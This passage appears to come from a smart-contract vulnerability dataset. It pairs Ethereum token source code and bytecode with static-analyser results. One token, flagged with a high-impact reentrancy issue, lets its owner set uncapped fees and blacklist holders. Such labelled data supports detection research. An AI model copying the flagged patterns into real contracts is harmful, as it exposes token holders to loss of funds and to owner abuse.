tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610521578063dd62ed3e14610541578063ea1644d514610587578063f2fde38b146105a757600080fd5b8063a2a957bb1461049c578063a9059cbb146104bc578063bfd79284146104dc578063c3c8cd801461050c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104465780638f9a55c01461046657806395d89b41146101fe57806398a5c3151461047c57600080fd5b80637d1db4a5146103e55780637f2feddc146103fb5780638da5cb5b1461042857600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037b57806370a0823114610390578063715018a6146103b057806374010ece146103c557600080fd5b8063313ce567146102ff57806349bd5a5e1461031b5780636b9990531461033b5780636d8aa8f81461035b57600080fd5b80631694505e116101ab5780631694505e1461026d57806318160ddd146102a557806323b872dd146102c95780632fd689e3146102e957600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611929565b6105c7565b005b34801561020a57600080fd5b5060408051808201825260078152664c4547454e445360c81b6020820152905161023491906119ee565b60405180910390f35b34801561024957600080fd5b5061025d610258366004611a43565b610666565b6040519015158152602001610234565b34801561027957600080fd5b5060145461028d906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102b157600080fd5b5066038d7ea4c680005b604051908152602001610234565b3480156102d557600080fd5b5061025d6102e4366004611a6f565b61067d565b3480156102f557600080fd5b506102bb60185481565b34801561030b57600080fd5b5060405160098152602001610234565b34801561032757600080fd5b5060155461028d906001600160a01b031681565b34801561034757600080fd5b506101fc610356366004611ab0565b6106e6565b34801561036757600080fd5b506101fc610376366004611add565b610731565b34801561038757600080fd5b506101fc610779565b34801561039c57600080fd5b506102bb6103ab366004611ab0565b6107c4565b3480156103bc57600080fd5b506101fc6107e6565b3480156103d157600080fd5b506101fc6103e0366004611af8565b61085a565b3480156103f157600080fd5b506102bb60165481565b34801561040757600080fd5b506102bb610416366004611ab0565b60116020526000908152604090205481565b34801561043457600080fd5b506000546001600160a01b031661028d565b34801561045257600080fd5b506101fc610461366004611add565b610889565b34801561047257600080fd5b506102bb60175481565b34801561048857600080fd5b506101fc610497366004611af8565b6108d1565b3480156104a857600080fd5b506101fc6104b7366004611b11565b610900565b3480156104c857600080fd5b5061025d6104d7366004611a43565b61093e565b3480156104e857600080fd5b5061025d6104f7366004611ab0565b60106020526000908152604090205460ff1681565b34801561051857600080fd5b506101fc61094b565b34801561052d57600080fd5b506101fc61053c366004611b43565b61099f565b34801561054d57600080fd5b506102bb61055c366004611bc7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059357600080fd5b506101fc6105a2366004611af8565b610a40565b3480156105b357600080fd5b506101fc6105c2366004611ab0565b610a6f565b6000546001600160a01b031633146105fa5760405162461bcd60e51b81526004016105f190611c00565b60405180910390fd5b60005b81518110156106625760016010600084848151811061061e5761061e611c35565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065a81611c61565b9150506105fd565b5050565b6000610673338484610b59565b5060015b92915050565b600061068a848484610c7d565b6106dc84336106d785604051806060016040528060288152602001611d7b602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b9565b610b59565b5060019392505050565b6000546001600160a01b031633146107105760405162461bcd60e51b81526004016105f190611c00565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075b5760405162461bcd60e51b81526004016105f190611c00565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ae57506013546001600160a01b0316336001600160a01b0316145b6107b757600080fd5b476107c1816111f3565b50565b6001600160a01b0381166000908152600260205260408120546106779061122d565b6000546001600160a01b031633146108105760405162461bcd60e51b81526004016105f190611c00565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108845760405162461bcd60e51b81526004016105f190611c00565b601655565b6000546001600160a01b031633146108b35760405162461bcd60e51b81526004016105f190611c00565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fb5760405162461bcd60e51b81526004016105f190611c00565b601855565b6000546001600160a01b0316331461092a5760405162461bcd60e51b81526004016105f190611c00565b600893909355600a91909155600955600b55565b6000610673338484610c7d565b6012546001600160a01b0316336001600160a01b0316148061098057506013546001600160a01b0316336001600160a01b0316145b61098957600080fd5b6000610994306107c4565b90506107c1816112b1565b6000546001600160a01b031633146109c95760405162461bcd60e51b81526004016105f190611c00565b60005b82811015610a3a5781600560008686858181106109eb576109eb611c35565b9050602002016020810190610a009190611ab0565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3281611c61565b9150506109cc565b50505050565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b81526004016105f190611c00565b601755565b6000546001600160a01b03163314610a995760405162461bcd60e51b81526004016105f190611c00565b6001600160a01b038116610afe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f1565b6001600160a01b038216610c1c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f1565b6001600160a01b038216610d435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f1565b60008111610da55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f1565b6000546001600160a01b03848116911614801590610dd157506000546001600160a01b03838116911614155b156110b257601554600160a01b900460ff16610e6a576000546001600160a01b03848116911614610e6a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f1565b601654811115610ebc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f1565b6001600160a01b03831660009081526010602052604090205460ff16158015610efe57506001600160a01b03821660009081526010602052604090205460ff16155b610f565760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f1565b6015546001600160a01b03838116911614610fdb5760175481610f78846107c4565b610f829190611c7c565b10610fdb5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f1565b6000610fe6306107c4565b601854601654919250821015908210610fff5760165491505b8080156110165750601554600160a81b900460ff16155b801561103057506015546001600160a01b03868116911614155b80156110455750601554600160b01b900460ff165b801561106a57506001600160a01b03851660009081526005602052604090205460ff16155b801561108f57506001600160a01b03841660009081526005602052604090205460ff16155b156110af5761109d826112b1565b4780156110ad576110ad476111f3565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f457506001600160a01b03831660009081526005602052604090205460ff165b8061112657506015546001600160a01b0385811691161480159061112657506015546001600160a01b03848116911614155b15611133575060006111ad565b6015546001600160a01b03858116911614801561115e57506014546001600160a01b03848116911614155b1561117057600854600c55600954600d555b6015546001600160a01b03848116911614801561119b57506014546001600160a01b03858116911614155b156111ad57600a54600c55600b54600d555b610a3a8484848461143a565b600081848411156111dd5760405162461bcd60e51b81526004016105f191906119ee565b5060006111ea8486611c94565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610662573d6000803e3d6000fd5b60006006548211156112945760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f1565b600061129e611468565b90506112aa838261148b565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f9576112f9611c35565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134d57600080fd5b505afa158015611361573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113859190611cab565b8160018151811061139857611398611c35565b6001600160a01b0392831660209182029290920101526014546113be9130911684610b59565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f7908590600090869030904290600401611cc8565b600060405180830381600087803b15801561141157600080fd5b505af1158015611425573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611447576114476114cd565b6114528484846114fb565b80610a3a57610a3a600e54600c55600f54600d55565b60008060006114756115f2565b9092509050611484828261148b565b9250505090565b60006112aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611630565b600c541580156114dd5750600d54155b156114e457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150d8761165e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061153f90876116bb565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156e90866116fd565b6001600160a01b0389166000908152600260205260409020556115908161175c565b61159a84836117a6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115df91815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061160c828261148b565b8210156116275750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116515760405162461bcd60e51b81526004016105f191906119ee565b5060006111ea8486611d39565b600080600080600080600080600061167b8a600c54600d546117ca565b925092509250600061168b611468565b9050600080600061169e8e87878761181f565b919e509c509a509598509396509194505050505091939550919395565b60006112aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b9565b60008061170a8385611c7c565b9050838110156112aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f1565b6000611766611468565b90506000611774838361186f565b3060009081526002602052604090205490915061179190826116fd565b30600090815260026020526040902055505050565b6006546117b390836116bb565b6006556007546117c390826116fd565b6007555050565b60008080806117e460646117de898961186f565b9061148b565b905060006117f760646117de8a8961186f565b9050600061180f826118098b866116bb565b906116bb565b9992985090965090945050505050565b600080808061182e888661186f565b9050600061183c888761186f565b9050600061184a888861186f565b9050600061185c8261180986866116bb565b939b939a50919850919650505050505050565b60008261187e57506000610677565b600061188a8385611d5b565b9050826118978583611d39565b146112aa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f1565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c157600080fd5b803561192481611904565b919050565b6000602080838503121561193c57600080fd5b823567ffffffffffffffff8082111561195457600080fd5b818501915085601f83011261196857600080fd5b81358181111561197a5761197a6118ee565b8060051b604051601f19603f8301168101818110858211171561199f5761199f6118ee565b6040529182528482019250838101850191888311156119bd57600080fd5b938501935b828510156119e2576119d385611919565b845293850193928501926119c2565b98975050505050505050565b600060208083528351808285015260005b81811015611a1b578581018301518582016040015282016119ff565b81811115611a2d576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5657600080fd5b8235611a6181611904565b946020939093013593505050565b600080600060608486031215611a8457600080fd5b8335611a8f81611904565b92506020840135611a9f81611904565b929592945050506040919091013590565b600060208284031215611ac257600080fd5b81356112aa81611904565b8035801515811461192457600080fd5b600060208284031215611aef57600080fd5b6112aa82611acd565b600060208284031215611b0a57600080fd5b5035919050565b60008060008060808587031215611b2757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5857600080fd5b833567ffffffffffffffff80821115611b7057600080fd5b818601915086601f830112611b8457600080fd5b813581811115611b9357600080fd5b8760208260051b8501011115611ba857600080fd5b602092830195509350611bbe9186019050611acd565b90509250925092565b60008060408385031215611bda57600080fd5b8235611be581611904565b91506020830135611bf581611904565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7557611c75611c4b565b5060010190565b60008219821115611c8f57611c8f611c4b565b500190565b600082821015611ca657611ca6611c4b565b500390565b600060208284031215611cbd57600080fd5b81516112aa81611904565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d185784516001600160a01b031683529383019391830191600101611cf3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7557611d75611c4b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122073f68c507939ffcbb79bc8909ec7c692c32130ef21f8fa07c0664a452ff3a2d364736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
497
0xC33a00be926ddA5Adaf977e2e246E20C11cf5D6E
pragma solidity ^0.4.13; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } contract OZENToken is MintableToken, BurnableToken { using SafeMath for uint256; string public constant name = 'DATACOOK HEALTH COIN'; string public constant symbol = 'DHC'; uint public constant decimals = 18; function OZENToken(uint _initialTokenNum) public { uint256 initial = uint256(_initialTokenNum * 10**decimals); mint(msg.sender, initial); } }
0x6060604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b81146100f557806306fdde031461011c578063095ea7b3146101a657806318160ddd146101c857806323b872dd146101ed578063313ce5671461021557806340c10f191461022857806342966c681461024a578063661884631461026257806370a08231146102845780637d64bcb4146102a35780638da5cb5b146102b657806395d89b41146102e5578063a9059cbb146102f8578063d73dd6231461031a578063dd62ed3e1461033c578063f2fde38b14610361575b600080fd5b341561010057600080fd5b610108610380565b604051901515815260200160405180910390f35b341561012757600080fd5b61012f6103a1565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561016b578082015183820152602001610153565b50505050905090810190601f1680156101985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b157600080fd5b610108600160a060020a03600435166024356103d8565b34156101d357600080fd5b6101db610444565b60405190815260200160405180910390f35b34156101f857600080fd5b610108600160a060020a036004358116906024351660443561044a565b341561022057600080fd5b6101db6105b8565b341561023357600080fd5b610108600160a060020a03600435166024356105bd565b341561025557600080fd5b6102606004356106ca565b005b341561026d57600080fd5b610108600160a060020a03600435166024356107b1565b341561028f57600080fd5b6101db600160a060020a03600435166108ab565b34156102ae57600080fd5b6101086108c6565b34156102c157600080fd5b6102c9610973565b604051600160a060020a03909116815260200160405180910390f35b34156102f057600080fd5b61012f610982565b341561030357600080fd5b610108600160a060020a03600435166024356109b9565b341561032557600080fd5b610108600160a060020a0360043516602435610ab9565b341561034757600080fd5b6101db600160a060020a0360043581169060243516610b5d565b341561036c57600080fd5b610260600160a060020a0360043516610b88565b60035474010000000000000000000000000000000000000000900460ff1681565b60408051908101604052601481527f44415441434f4f4b204845414c544820434f494e000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a038316151561046157600080fd5b600160a060020a03841660009081526020819052604090205482111561048657600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156104b957600080fd5b600160a060020a0384166000908152602081905260409020546104e2908363ffffffff610c2316565b600160a060020a038086166000908152602081905260408082209390935590851681522054610517908363ffffffff610c3516565b600160a060020a038085166000908152602081815260408083209490945587831682526002815283822033909316825291909152205461055d908363ffffffff610c2316565b600160a060020a0380861660008181526002602090815260408083203386168452909152908190209390935590851691600080516020610c4c8339815191529085905190815260200160405180910390a35060019392505050565b601281565b60035460009033600160a060020a039081169116146105db57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561060357600080fd5b600154610616908363ffffffff610c3516565b600155600160a060020a038316600090815260208190526040902054610642908363ffffffff610c3516565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020610c4c8339815191528460405190815260200160405180910390a350600192915050565b600160a060020a0333166000908152602081905260408120548211156106ef57600080fd5b5033600160a060020a0381166000908152602081905260409020546107149083610c23565b600160a060020a038216600090815260208190526040902055600154610740908363ffffffff610c2316565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a26000600160a060020a038216600080516020610c4c8339815191528460405190815260200160405180910390a35050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561080e57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610845565b61081e818463ffffffff610c2316565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60035460009033600160a060020a039081169116146108e457600080fd5b60035474010000000000000000000000000000000000000000900460ff161561090c57600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600354600160a060020a031681565b60408051908101604052600381527f4448430000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a03831615156109d057600080fd5b600160a060020a0333166000908152602081905260409020548211156109f557600080fd5b600160a060020a033316600090815260208190526040902054610a1e908363ffffffff610c2316565b600160a060020a033381166000908152602081905260408082209390935590851681522054610a53908363ffffffff610c3516565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a0316600080516020610c4c8339815191528460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610af1908363ffffffff610c3516565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610ba357600080fd5b600160a060020a0381161515610bb857600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610c2f57fe5b50900390565b600082820183811015610c4457fe5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582062e96a760638b8310b44b2a5169d95e536bbcaf536ec68db1caaf0b5952e581d0029
{"success": true, "error": null, "results": {}}
498
0x8c23b104b13ce8a150bc50a3f6145ef89fd64321
// SPDX-License-Identifier: Unlicensed // https://tengutoken.club // https://t.me/tenguportal pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 